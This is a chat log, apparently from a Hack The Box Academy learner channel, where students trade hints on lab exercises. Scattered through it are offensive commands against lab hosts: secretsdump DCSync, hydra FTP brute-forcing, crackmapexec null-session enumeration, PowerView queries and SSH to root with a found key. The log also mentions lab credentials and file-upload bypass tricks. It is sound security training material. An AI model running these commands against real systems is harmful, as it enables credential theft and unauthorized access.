modules

[naive wadi]

thanks. Do you know what the ", 1 space" part is supposed to imply?

[heady tusk]

there is a space in the answer

[naive wadi]

why couldn't they just write that. Sometimes I feel like deciphering the text itself is a ctf

[heady tusk]

😄

[tall birch]

Hi there,
in the AD Enum and Attack, I get x user password in the exrcise when I try to get a shell or pass the password to a script like secredump.exe the powershell doesn't take the password.

If I try using rdp to luanch cmd as diffrent user it will work, any idea to make it work in the shell??

[heady tusk]

could you provide an example? also including error messages would be helpful

[tall birch]

so I have the user ||adunn << SyncMaster757 || and it is password.

If I tried to run .\secretsdump.exe -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 it will ask for password if I pass the password it will not work and say:

[*] Cleaning up...```

or if I tried to do `runas /user:adunn cmd.exe` it will ask for password and if I provide it will not work: 
```Attempting to start cmd.exe as user "INLANEFREIGHT\adunn" ...
RUNAS ERROR: Unable to run - cmd.exe
1326: The user name or password is incorrect.

[heady tusk]

which section is that?

[tall birch]

DCSync

smae if I tried to ssh to the linx at 172..225

[narrow solar]

hey friends , i am at Attacking Common Services - Easy, found user f***, trying to brute force ftp with pwd.list but got nothing , i am trying to do it with rockyou with both f**** and f****@inlanefreight.htb, it needs +500 hours to finish , am i wasting time?

[tall birch]

htb-student@172.16.5.225's password:
Permission denied, please try again.```
even when I am just copying and pasting the password

[fiery berry]

If you are connected via RDP just do it with the GUI, search for "cmd" or "PS" and do "run as another user" so you can actually confirm that the password you are using is correct

[heady tusk]

manually type out the password. iirc copy paste somehow broke it

[tall birch]

manually type out the password. iirc copy paste somehow broke it
well this is it 🙂
I tho I am doing something wrong, thanks!!

[heady tusk]

this right here should also work

[tall birch]

yupp it is confirmed, I should not copy in windows

this right here should also work
this too does work but in shell, I should as you say write stuff down no copy

[heady tusk]

some services are faster to brute force, some are slower. FTP is decent, but there is a faster one.
Edit: checked notes again, should not make any difference actually. should be fast regardless

[narrow solar]

let me check it, thanks a lot

[frank ermine]

Can some one please give me the answer for one of the bahs introduction parts? Ive been writing different scripts for hours and i dont even think its a problem with my script

[coral wraith]

hello,

Hello, did you succeed.*

[tall birch]

I am trying to follow with the DCSync and facing issue running this command any thos:
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

error for context:

Get-DomainUser : The term 'Get-DomainUser' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try
again.``` 

I importd the AD module

[fiery berry]

I think is PowerView

[heady tusk]

this one is part of PowerView, so you'll need to import that

[tall birch]

my bad, sorry guys!

[heady tusk]

no worries, I've made that mistake countless times lol

[tall birch]

lol, thanks!!

[narrow solar]

it worked, thanks friend 😊

[heady tusk]

awesome 🙂

[wise vault]

Hi fellows

Is there anyone who have purchased the pro labs subscription?

[real nebula]

Aren't there modules for programming skills improvement?

[heady tusk]

I'm pretty sure there is a python module and bash/powershell stuff

[flat minnow]

File Upload Attacks - Whitelist Filters section https://academy.hackthebox.com/module/136/section/1289
Can anyone help me with this: The above exercise employs a blacklist and a whitelist test to block unwanted extensions and only allow image extensions. Try to bypass both to upload a PHP script and execute code to read "/flag.txt".
I have uploaded the file but I get a not found response when searching for it.

[frank ermine]

?

[tall birch]

Hi there,
I am facing issue with doing the AD Enum and Attack [Privileged Access] section.
I am connected and I have shell with the user ||adunn|| and trying to execute Get-NetLocalGroupMember -GroupName "Remote Management Users" can't get any answer other than forend so can't solve it

[fiery berry]

dm you

[fiery berry]

I think is for which user CanPSRemote privilege and not RDP. Can you please paste the question or confirm than indeed is about the PSRemote privilege?

[rustic arrow]

Module Password Attacks
Section Easy Lab

I am running Hydra for the FTP service. It's been 31 min and no password found.

hashcat -r custom.rule --stdout | awk '!x[$0]++' | tee mutated.password.list # the awk part gets the unique password without changing its order https://stackoverflow.com/questions/11532157/remove-duplicate-lines-without-sorting
hydra -u -L username.list -P mutated.password.list <ip> ftp

Am I doing anything wrong? Should I reset the machine?

[flat minnow]

Anyone please?

[rustic arrow]

Can you send the academy link? It would help

[flat minnow]

Sure, https://academy.hackthebox.com/module/136/section/1289

[rustic arrow]

I never did this one, but you probably uploaded a fake image, which is actually a reverse php shell, right? I'd upload a real image, copy the image link with right mouse button, see the path it got uploaded and reproduce with the fake one.

[rustic sage]

you are sure that are using the correct wordlist?

[rustic arrow]

yep 🤔 it's the one provided in the resources

[analog dock]

It takes a very long time

[vital adder]

for the not found thing i'm guessing this #modules message

[flat minnow]

I have done this.
I have uploaded an image e.g shell.png
The image exists on ${link}/shell.png
Then I try one of the character injection attacks where I upload e.g "shell.php/.jpg", which is uploaded successfully (judging by the response message).
When I go to ${link}/shell.php/.jpg, I get a not found error

[autumn pilot]

do not forget that you can face false positives

[rustic sage]

you have more than 1 list

[flat minnow]

hmm thanks for the tip, most probably this is the case

[vital adder]

and for the section hint use the given bash script but add more or replace some of the extensions

[rustic sage]

and i recomend you to use -t 64 for be faster

[rustic arrow]

wdym?

[vital adder]

hint try without the ||mutated wordlist|| first

[rustic arrow]

In my experience I need to reset the machine because it gets crazy with too many requests, but maybe that was a windows behavior only

[analog dock]

@rustic arrow you should be able to find it with the regular user and pass list

No need to use mutated yet

[rustic arrow]

cool, so someone gave me a "bad" hint

[vital adder]

so which question are you on?

[flat minnow]

No success with curl neither.

[vital adder]

most likely your extension is wrong because i did that section without using any special character (that you can't access using a browser)

[weak stirrup]

i am having issues with a +0 "pointless" question in "Linux Privilege Escalation" "Environment Enumeration" the question is "Enumerate the Linux environment and look for interesting files that might contain sensitive data. Submit the flag as the answer. " the server that starts does not show the same results as the examples above. specifically the bash history is sent to /dev/null not a file and the example for "find all hidden files" is empty while all of the other examples work as suggested. i don't a zero point question should be this obtuse, am i an idiot missing something basic or is there an issue with the system?

[acoustic owl]

|| grep || is your friend

[weak stirrup]

i dont fully understand the goal but from browsing around on the system and reading the page it seems i am trying to log into lab_adm who has sudo and i am supposed to find a password 'accidentally stored' in a file somewhere? is this the right path?

[acoustic owl]

No, you really just need to find a file that contains the flag.
Flags at HTB usually start with HTB
Try to find files which contain HTB.

[weak stirrup]

thanks that worked i was making it too complex.. from the 'leet' speak in the flag i think maybe another method was intended though

[kindred comet]

I am currently doing the Cracking Passwords with Hashcat module. On page 12, we were meant to download some zip onto the box - I wasn't sure how to do this, I just curled the download link and I think I got it. However, I am confused about using zip2john with the zip - I tried many different commands and could not get the hash, the command just did nothing. Can anyone give me a hint or help me out on what command I am meant to use for that?

[rustic sage]

hello im using this crackmapexec smb 10.129.203.10 -u john -p john-secrets SMB 10.129.203.10 445 WIN-HARD [*] Windows 10.0 Build 17763 x64 (name:WIN-HARD) (domain:WIN-HARD) (signing:False) (SMBv1:False) SMB 10.129.203.10 445 WIN-HARD [+] WIN-HARD\john:john-secrets
and thells me that i can logon but what is the correct pass?

[sweet lava]

Currently stuck on the Pivoting skills assessment. I know I'm supposed to be uploading some kind of payload to ||webadmin||, but I am not sure how without the password

[vital adder]

so which section are you on? (next time just say the section name not the page number in the url)

[kindred comet]

Cracking Miscellaneous Files & Hashes

[vital adder]

if you are in the cme module then i can't help because i haven't done that module but from that example the john user could be a domain user and that domain user could only have smb access

[vital adder]

so did you extract the in the file in the Misc_hashes.zip and use 7z2john on that extracted file?

@kindred comet also if 7z2john isn't working then run
sudo apt-get install libcompress-raw-lzma-perl -y

[potent hatch]

Hi, anyone knows why i cant see the season channels? thx and sorry for using this channels

[rustic sage]

When i try to exploit host-3 with eternal blue in module shells and payloads it doesn't work someone help

The section is the live engagement

[vital adder]

no worries if you specify that at the end but if you are new here read #welcome and #rules after use /verify at #bot-commands and ask that at #1080884182336675872

[potent hatch]

thanks man

[vital adder]

hint there is something different than cred that you can use to login as that user but you can just host a python server on your machine and use wget on the target machine

[kindred comet]

yeah,
zip2john ~/hashcat.7z\

[vital adder]

hint use the exploit module that only let you run 1 command instead of getting a shell

[vital adder]

7z2john is for .7z file and zip2john is for .zip file

[rustic sage]

Can you give me a hint where to import the exploit for host-2

[tall birch]

What other user in the domain has CanPSRemote rights to a host?

[kindred comet]

Tried 7z2john but still does nothing. Also ran the sudo command

[fiery berry]

So it’s not the same as RDP

[tall birch]

nopee

even the second Q is:

[fiery berry]

Exactly

Now you should be able to figure it out

[tall birch]

I am trying right

I can't find any user other than forend

using the Get-NetLocalGroupMember -GroupName "Remote Management Users" and bloodhound

[fiery berry]

try to use the cypher query with bloodhound

in the "analysis" tab scroll to the bottom "Custom queries" and enter the cypther query provided in the module. You should be able to find the other user

[tall birch]

Same thing

I will try to reset the machine

[fiery berry]

dm me in case you have still problems

[tall birch]

This all should be done in the MS01 right with the adunn access

[fiery berry]

I did collect all the data with the "htb-student" user

[analog dock]

Did you figure it out yet? Otherwise I can check it out

[kindred comet]

No, 7z2john ~/hashcat.7z\ still doesn't work for me

[analog dock]

Ok, give me a moment

[kindred comet]

Thanks

[analog dock]

I don’t have that exact module, but I’ll try to help

What extension is the file?

Regular .zip?

[kindred comet]

it's a 7z

it's inside the zip in the section

[vital adder]

so are you getting some type of error with the tool? or does the tool work and you just doesn't get any hash?

[analog dock]

Are you using pwnbox?

[kindred comet]

No error, but it just goes to a new line and does nothing

[analog dock]

If so, try “python2.7 /opt/7z2john/7z2john.py <encrypted file>”

[kindred comet]

I am using the built in virtual environment

[kindred comet]

I'll try this

Perfect I think it worked

Thank you!

[analog dock]

Good stuff 👍🏼

You’re welcome

[misty current]

Just finding what group a user or machine belongs to can be done from any domain connected machine.

As long as you have a domain user credentials

[gaunt monolith]

OMG in password attack easy lab after 2 hours to brute force in ftp or ssh using resources list and mutation password or without No log in 😖

[idle basalt]

Hi everyone. I'm currently working on Linux Fundamentals particularly on Filter Contents and I'm having trouble with the questions. The two ones that I can't seem to understand is the first and the third. For the first, I suppose I need to use netstat -l to get all services that are listening but that's not it. The third, now, curl can't reach the link given (tried on WSL it works, but not on the pwnbox).

[gaunt monolith]

Any hint … my goal today finish all lab in Password Attack Module

[final flax]

How to solve this problem: Find a file with the setuid bit set that was not shown in the section command output (full path to the binary).

[lyric igloo]

Which language is better for programming?

[analog dock]

If I remember correctly, the username starts with m

[vital adder]

http://dontasktoask.com/ which module and secton you in? what is the question you are having issue with? and what did you try?

[vital adder]

someone just ask about this you can just scroll up a bit but the hint was don't use the ||mutated wordlist||

[gaunt monolith]

I’m brute forcing now I hope login

[final flax]

path:linux privilege escalation
part:Special Permissions
questions:Find a file with the setuid bit set that was not shown in the section command output (full path to the binary).
my way:find / -user root -perm -4000 -exec ls -ldb {} ; 2>/dev/null
my question:I don't know which of the displayed contents is the answer(My English is not very good, please understand)

[gaunt monolith]

Using Hydra make brutforce with 3 users started with m No Login
using all user in username.list (from res ) No login
all of this with Password.list without mutation No login

[vital adder]

no worries if english isn't your first language just don't ask dump stuff without context and that section is kinda dump for beginner because you have to know which binary is or isn't setuid by default

but a tip for that question is first run the first given command in the example on the target box and compare the output of that and the output of the example

[analog dock]

Give me a moment

[gaunt monolith]

Take ur time

[analog dock]

I have found it within 10 seconds

Are you trying to bruteforce ftp or ssh?

[gaunt monolith]

Actually I restarted my box twice 😅

[gaunt monolith]

Both

[analog dock]

What was the command you used for ftp

[gaunt monolith]

hydra -L username.list -P password.list ftp://IP

[analog dock]

That should work

Make the user list with the m accounts only and let me know

I used -t 48 as well to make it a bit faster

[gaunt monolith]

Ok Ill try

[final flax]

Thank you

[gaunt monolith]

To be sure 3 users started with m ?

[analog dock]

Yes

You can even try them individually

-l name -P password.list

[gaunt monolith]

In individual users working now

[analog dock]

👍🏼

[gaunt monolith]

Thanks for your time bro

[analog dock]

You’re welcome👍🏼

[rustic arrow]

I thought this day would never come
https://academy.hackthebox.com/achievement/51013/147
someone pls add dislocker to this module

[analog dock]

Good job 👍🏼

#858470491676737536 for suggestions

[magic dune]

im trying to get this banner on this excerise but using ncat it wont work. It just says Could not resolve hostname "#": Name or service not known

Any idea what i am doing wrong?

[acoustic owl]

What exactly did you try?

[magic dune]

i just put ncat followed by the target ip it gives me

[rustic arrow]

show the command

[magic dune]

The exact thing i typed is

"ncat 161.35.32.44:30114"

idk if you meant a picute or not sorry

[rustic arrow]

try ncat 161.35.32.44 30114

[magic dune]

that worked! Thanks

So am i not suppose to be the colons there?

[thorn urchin]

nope

different tools have different formats they prefer

always read a tools help page before using it

[magic dune]

okay, thanks for the tips

[rustic arrow]

exactly what he said

[analog dock]

@thorn urchin when will you start your next try?

[thorn urchin]

probably this weekend but we shall see, theres some things I want to finish up first before I start

[analog dock]

I see, good luck! 💪🏼 you got this

[rotund urchin]

Can I DM someone about the pivoting and tunneling skills assessment? I am unsure how to connect to the 2nd machine through my tunnel.

[silent sleet]

I accidentally spent 500 cubes on whit box pentesting instead of advanced sql injection. Can I refund the cubes? Literally just bought it haven’t done anything yet

[fiery berry]

dm me

[analog dock]

Id contact support

[gaunt monolith]

any hint to make privilege in user ||jason|| in password attack-medium lab I used all ideas I learned .. or should be dig more ?

[analog dock]

Let me check

[sweet lava]

anything down for you guys? Can't access the modules on my dashboard anymore

[analog dock]

What have you tried so far?

Hint is: check the history

I just managed to solve it again

I really should start taking notes lol, would make it way easier to help

But now I just keep resolving things, which isn’t bad either I guess

[mortal locust]

Anyone know how to solve "what are the credentials to access the Edge-Router?"

This is last question of credential hunting in windows module

[mortal locust]

The hint asks me to use Ansible. But I have no idea how this can be used

[tough kettle]

hahaha me too i want to help but can't remember any of these

[fiery berry]

did you check non default programs installed? They may rise a "flag"

[mortal locust]

Git, Crome, Edge, MS Health Tools, MS Visual C++, Mozila, Openoffice 4.1.11, VM tools, WINSCP

None of the relates to networking stuff. I m sorry if i sound dumb

[fiery berry]

dm you

[narrow solar]

hey friends, i am at Attacking Common Services - Hard, i tried Impersonate all 3 users, none have sysadmin, so i dont have permission to enable ex-cmd, and when trying execution using linked Server i only get 'testadmin' and null output, tried to get the flag with the execution but didnt work

[fiery berry]

I would say read one more time the mssql section and I'm sure you will find the answer you're looking for. You're close, just see what left for you that you didn't try yet

[golden vortex]

anyone elses vpn keep disconnecting?

[narrow solar]

i tried Read Local Files too but 'You do not have permission to use the bulk load statement'. Capture MSSQL Service Hash : it was 'aaaaaaaaaaaaaaaa' and that's everything mentioned there 😅

i wrote about it at first

ok i will check more about it

[fiery berry]

oh yeah! Sorry haven't seen it. I guess it's time for me to shutdown

[narrow solar]

😂 thank you for your hard working 😊

[fiery berry]

I haven’t done anything. You were close so I though would have been good for you to get back to the material that's all

[warm mountain]

Hi there, fellas! I need some help with the Blind SQL Injection module, especifically on the Out of band extraction section

[tight mesa]

hello everyone, I'm stuck with footprinting Medium Lab, I saw a bunch of weird ports

and I'm struggling to figured out how to enumerate correctly

any hint about what is the best route to enumerate correctly this lab?

[keen compass]

Hi, may I talk about the resolution of Attacking Common Services - Easy ? I have just finished it and wonder if there is an alternate way to solve it as suggested by the flag name ?

[keen scarab]

Hi! I am working on "Stack Based Buffer Overflows on Linus" chapter Take control of EIP. I can do the question but don't know what they are actually looking for. Question "Examine the registers and submit the address of EBP as the answer. "

[analog dock]

What weird ports?

[steady hawk]

Dm if you'd like

[lyric notch]

im on that "Finding Files and Directories" section and used findstr for searching that waldo thing ... how long do i have to wait for that to finish?

[magic dune]

Im trying to run an nmap scan to get version of service but when i run the command it says the host seems down, If it is really up, but blocking our ping probes, try -Pn which i did and that told me there was a host up. but nothing else seem to be working (i am using my own VM and am connected to academy vpn)

[golden vortex]

Exploiting Web Vulnerabilities in Thick-Client Applications. Can i Get some help. I can login with qtc user but cant exploit sql injection

this is very difficult

[thorn ingot]

Can I use my own machine in skills asssessments?

[golden vortex]

yes

[autumn pilot]

yup, just ensure if a VPN connection is required or not

[golden vortex]

Can i dm someone about this?

[dusty sparrow]

Greetings from 2023 this comment helped me find what I was missing, if you're still around here thanks so much! 😄

[keen scarab]

resolved after searching forums.

[lyric notch]

still not able to searc for a file in a win machine i feel sooo stupid im sitting here for over an hour

[magic dune]

Can i dm someone about this?

[tight mesa]

hey guys, Footprinting Medium Lab most be do from the Pwnwd machine?

[analog dock]

Not necessarily, any module can be done from your own vm too if you connect to vpn

[tight mesa]

well is not working from my host

can I DM?

[analog dock]

What’s not working?

[tight mesa]

access/read the NFS folder

ls: cannot open directory 'target-NFS/TechSupport': Permission denied```

[analog dock]

Give me a moment, need to spin up vm

[tight mesa]

ok.

even if I try the command despite in the module

ls: cannot access 'mnt/nfs': No such file or directory``` is not working either....

I most be missing something basic but, can realize what is it

[hard matrix]

/mnt/nfs

not to be rude but, linux 101 before offsec 🙂

[tight mesa]

LoL

ls: cannot access '/mnt/nfs': No such file or directory```

[hard matrix]

well bro

ls /mnt/

it probably doesnt exist

?

did you check the folder you are looking for actually exists first

[tight mesa]

well, u r right....

[analog dock]

Change to root acc

And you should be able to access

[tight mesa]

I'm just trying to replicate the command despite in the module with the Lab

[analog dock]

So sudo su

And then cd to TechSupport

[tight mesa]

uhm let me see

[analog dock]

Just tried it and it worked

[tight mesa]

ok., it's working

[quasi wave]

hi I am doing the Getting Started Module's privilege escalation section and I looked and found I cannot run any commands as user2. However I know with this output I should be able to run something as user2:

user1@ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:/bin$ sudo -l
Matching Defaults entries for user1 on
    ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user1 may run the following commands on
        ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:
    (user2 : user2) NOPASSWD: /bin/bash
user1@ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:/bin$ /bin/bash
user1@ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:/bin$ runuser -l user2 bash
runuser: may not be used by non-root users
user1@ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:/bin$ sudo runuser -l user2 bash
[sudo] password for user1: 
Sorry, user user1 is not allowed to execute '/usr/sbin/runuser -l user2 bash' as root on ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7.
user1@ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:/bin$ sudo runuser -u user2 bash
[sudo] password for user1: 
Sorry, user user1 is not allowed to execute '/usr/sbin/runuser -u user2 bash' as root on ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7.
<SNIP>

[tight mesa]

now, can I why?, I guess I know the answer but, I'd to have the right answer....

[quasi wave]

am I overthinking it?

[analog dock]

Su user2?

[magic dune]

hey @analog dock can you try and help me with the nmap thing when you have time

[analog dock]

What module

-sV -Pn doesn’t work?

[golden vortex]

sombody please help me with Exploiting Web Vulnerabilities in Thick-Client Applications

i have qtc acces i just cant sql inject

[quasi wave]

yes I tried that it won't let me execute that command

[analog dock]

Have a bit of a hard time reading that copy paste lol

Gimme a moment, I think i have that module

[dusty sparrow]

have you tried specifying the whole path like using runuser -l /bin/bash ?

I haven't done the module yet, just thinking out loud

[magic dune]

i am on the getting started module and its the service scanning section. I tried that but it says host is down but then i put -Pn and it says there is a host

[thorn urchin]

-Pn will always say theres a host even if there isnt, thats what -Pn is for

its bypassing the automated host discovery checks

[magic dune]

Gotcha, i tried running it as sudo nmap -sV for services and it still says host is down or something

[thorn urchin]

sounds like you probably have some sort of connection issue with the lab

or similar

[magic dune]

Oh now it works.

Ive been trying for about an hour hoenstly and even reconnected to vpn but it still didnt work till now

[golden vortex]

sombody please help me with Exploiting Web Vulnerabilities in Thick-Client Applications

i have qtc acces i just cant sql inject

[hard matrix]

happens sometimes

[magic dune]

Yeah its a little frustrating

[thorn urchin]

you just have to follow the instructions exactly

99% of the issues is cause ya skipped a step on accident

[zinc marsh]

aquatone order the reports by most importants as well?

[lyric notch]

i learned after 2 hours googling and trying that you connect to the powershel via ssh and cmd comands dont work there ...

[analog dock]

Sudo -u

[quasi wave]

user1@ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:/bin$ sudo runuser -l user2 -c NOPASSWD
[sudo] password for user1: 
Sorry, user user1 is not allowed to execute '/usr/sbin/runuser -l user2 -c NOPASSWD' as root on ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7.
user1@ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:/bin$ sudo runuser -l user2 -c /bin/NOPASSWD
[sudo] password for user1: 
Sorry, user user1 is not allowed to execute '/usr/sbin/runuser -l user2 -c /bin/NOPASSWD' as root on ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7.
user1@ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:/bin$ sudo runuser -l user2 -c /bin/bash/NOPASSWD
[sudo] password for user1: 
Sorry, user user1 is not allowed to execute '/usr/sbin/runuser -l user2 -c /bin/bash/NOPASSWD' as root on ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7.
user1@ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:/bin$ sudo runuser -u user2 -c /bin/bash/NOPASSWD
[sudo] password for user1: 
Sorry, user user1 is not allowed to execute '/usr/sbin/runuser -u user2 -c /bin/bash/NOPASSWD' as root on ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7.
user1@ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:/bin$ sudo runuser -u user2 -c NOPASSWD
[sudo] password for user1: 
Sorry, user user1 is not allowed to execute '/usr/sbin/runuser -u user2 -c NOPASSWD' as root on ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7.
<SNIP>

user1@ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:/bin$ sudo runuser -l user2 -c "sudo -u"
[sudo] password for user1: 
Sorry, user user1 is not allowed to execute '/usr/sbin/runuser -l user2 -c sudo -u' as root on ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7.
user1@ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:/bin$ 

lmao

[zinc marsh]

[analog dock]

Read what sudo -l says

[zinc marsh]

sending the sudo -l

would be more useful

[analog dock]

You’re allowed to run /bin/bash as user2

Without password

I gave you the command, you just have to fill it in now

[zinc marsh]

he is persistent

[analog dock]

There’s no runuser needed

[hard matrix]

really guys doing linux 101 will go a long way

i promise

[zinc marsh]

trying 1 hundred times the same commands he will get something different

[zinc marsh]

the longest is active directory enumeration and attacks

[hard matrix]

i cant imagine jumping directly into htb without knowing basic terminal

[hard matrix]

yeah i just failed my first PNPT attempt

[zinc marsh]

Keep learning

and try again

[analog dock]

@quasi wave did you get it?

[hard matrix]

i spent the first 3 out of the 5 days for the attempt
losing my mind on a bruteforce
because i didnt grep extract in burp and the response length [on success] was 342 instead of all the failed attempt 343s

[quasi wave]

not yet

this is hard

[analog dock]

It’s also shown in the cheatsheet

[quasi wave]

ok

[quasi wave]

found it thanks

[analog dock]

All you need to do is change the user and change /bin/echo to what you are allowed to run

[quasi wave]

I was overthinking it

[analog dock]

Yeah you were lol

Good job 👍🏼

[zinc marsh]

can u send the sudo -l?

normally just searching it in gtfobins is enough

@analog dock in what module are u now?

[analog dock]

the pivoting one

[quasi wave]

no I found it now I'm doing second question

[fringe shell]

Anyone able to give me a nudge on AD Enumeration & Attacks: Assessment Pt 2? I'm up to 3rd last question. I've got admin on MS01 with the m## user and am trying to find the creds for the c## user, but have hit a brick wall.

[zinc marsh]

ooof funny skill assessments

[analog dock]

Oh boy

[zinc marsh]

u got the flag of the question 3?

[fringe shell]

yeah, you up to that part?

[quasi wave]

I'm having trouble with second question. I'm logged in as user2 and it won't let me use sudo -l

why?

it let me when I was user1

[fringe shell]

if the output is something like "User has no sudo privileges" then you have your answer

[quasi wave]

it doesn't have that output

its requiring user2's password but I didn't get user2's password in order to log in as user2

[zinc marsh]

are u in the ms01?

[quasi wave]

I can't access shadow file

[fathom pendant]

What module?

[fringe shell]

yeah i got admin on MS01

[quasi wave]

but I can access passwd file but that obviously doesn't help

[quasi wave]

privilege escalation section of getting started module

[zinc marsh]

then read the section again

[fathom pendant]

Then passwd isn't needed

[quasi wave]

ok cool

[fathom pendant]

The section is super informative

[zinc marsh]

Any common attack u know?

to get creds there

[fringe shell]

hmmm... I've tried the usual mimikatz modules and snaffler/lazagne... I'll poke around a little more

[zinc marsh]

reading the section names should be enough

to know which are common attacks/enumeration

[fringe shell]

I see

[analog dock]

There’s no passwd or shadow file needed to escalate privileges there

What you need is shown in the section

[quasi wave]

ssh-keygen?

[analog dock]

Well you don’t need to generate them

You can find the keys you need as user2

[quasi wave]

wait ok but they are not letting me use the keys I generated back as user1

I can't add them to file

no permissions

[analog dock]

You don’t need to generate keys

[fathom pendant]

You don't need to generate keys

[golden vortex]

Ive rechecked everything and i havnt skipped a step

[quasi wave]

ok hold on

[analog dock]

You need to find keys in the system

[zinc marsh]

didn't u even tell the solution here

[analog dock]

That was for question 1

He needs to get root now

[sleek urchin]

can someone help me with CrackMapExec: Skill Assessment ?

[zinc marsh]

||ls -la|| maybe?

[analog dock]

That would show him the directory he needs if he gets to the map before that

[zinc marsh]

https://dontasktoask.com/

[quasi wave]

I'm looking in root folder. am I looking in wrong place? I looked at bash_history file and that didn't help

[analog dock]

Root folder is good

[quasi wave]

ok

[analog dock]

But we were talking about what you needed

Keys

So in what folder do you find that?

It’s shown in the section

[quasi wave]

the only section I am thinking of says its in .ssh folde

.ssh folder has keys

then the next step is for me to use SSH?

[analog dock]

Correct

Use those keys to ssh to root

[sleek urchin]

CrackMapExec: Skill Assessment , i have been trying to get initial credentials for 1st question, i followed what the hint says but no results (about NULL Authentication) and tired every possible variation, and tried using the IPs and VHosts as well, yet no results and the question is "What's the password of the account you found? " so I must use --users

yet nothing so far

[quasi wave]

I am doing it but its not letting me in:

user2@ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:/root/.ssh$ ssh root@209.97.176.220 -i id_rsa

^C
user2@ng-605555-gettingstartedprivesc-y4zwt-57f7c4cdb8-ckdd7:/root/.ssh$ ssh root@209.97.176.220 -i id_rsa -p 30243

I also tried it with localhost and 127.0.0.1 and it didn't help

[analog dock]

Because you’re doing it from the box

[quasi wave]

oh I see

[analog dock]

You need to do it from your vm

[quasi wave]

ok hold on

[analog dock]

Well you can do it from pwnbox, just not from user2

[zinc marsh]

can u send the link?

[sleek urchin]

I get this error Error enumerating domain users using dc ip xx.xx.xx: NTLM needs domain\username and a password and the hint indicates to use null authintication

[sleek urchin]

https://academy.hackthebox.com/module/84/section/1747

[zinc marsh]

then use null authentication to enumerate

[zinc marsh]

i havent unlocked it sorry

[sleek urchin]

i did use it, but i get errors

[zinc marsh]

what command u using

[quasi wave]

┌─[us-academy-1]─[10.10.15.146]─[htb-ac-605555@htb-ixxp0td6ac]─[~]
└──╼ [★]$ ssh root@209.97.176.220 -i authorized_keys -p 30243
Warning: Identity file authorized_keys not accessible: No such file or directory.
ssh: connect to host 209.97.176.220 port 30243: Connection refused
┌─[us-academy-1]─[10.10.15.146]─[htb-ac-605555@htb-ixxp0td6ac]─[~]
└──╼ [★]$ ssh root@209.97.176.220 -i id_rsa -p 30243
Warning: Identity file id_rsa not accessible: No such file or directory.
ssh: connect to host 209.97.176.220 port 30243: Connection refused
┌─[us-academy-1]─[10.10.15.146]─[htb-ac-605555@htb-ixxp0td6ac]─[~]
└──╼ [★]$ ssh root@209.97.176.220 -i id_rsa
Warning: Identity file id_rsa not accessible: No such file or directory.
^[[A^C
┌─[us-academy-1]─[10.10.15.146]─[htb-ac-605555@htb-ixxp0td6ac]─[~]
└──╼ [★]$ ssh root@209.97.176.220 -i authorized_keys
Warning: Identity file authorized_keys not accessible: No such file or directory.

lmao I'm doing that from my VM and its not letting me in

[sleek urchin]

proxychains -q crackmapexec smb dc01.inlanefreight.local -u '' -p '' --users

i have tried many variation of it the command

[analog dock]

Did you copy the id_rsa to your host?

And did you give it the right permissions?

[fringe shell]

found it 🫠 I swear i already spun up that tool before... but it must've just been when I was faffing about on SQL01... spending hours on this stuff, it all bleeds together lol

[zinc marsh]

try -N maybe?

[quasi wave]

hold on ok

I got locked out gotta log back in

ok I'm back in root folder

[analog dock]

@quasi wave got it?

[quasi wave]

hold on

I did it

[zinc marsh]

U just writing a ssh key

[quasi wave]

I know I got in

[zinc marsh]

a well he deleted it

[quasi wave]

I'm logged in as root

challenge completed

thank you

[analog dock]

Good

You’re welcome 👍🏼

[fringe shell]

YES!! AD Enum & Attacks is finally done... man that module took some time.

[magic dune]

Just finished public exploits section in the getting started module and it feels so rewarding completing the exercise

[gentle root]

Anyone able to get the MASS IDOR ENUMERATION script working?

I can't figure out how to get the script workling

[gentle root]

Someone @ me if anyone gets the script given in MASS IDOR ENUMERATION working I just used intruder so 🙂

[misty mural]

More of a general question here. When answering academy questions, I often have to search through forums to find clues on which tools to use or options to consider.

Often, the way to the solution is a method I never knew about or considered. This is a normal part of the process or am I cheating myself looking outside the module for breadcrumbs?

[hollow thunder]

Would anyone be able to assist me in completing the "Whitelist Filters" section in File Upload attacks

I've honestly been stuck on this section for a long time

[gentle root]

Tough question, I'm definitely in somewhat of the same boat. Sometimes, I like this MASS IDOR ENUM I had no idea how to do it the intended way. Finding non-intended ways to do something isn't bad, but it can be beneficial to find the intended way after.

[steady hawk]

Dm if you'd like

[hollow thunder]

tysm. il send something over now

[novel shoal]

why lab on HTB academy is super slow =,=

[vital adder]

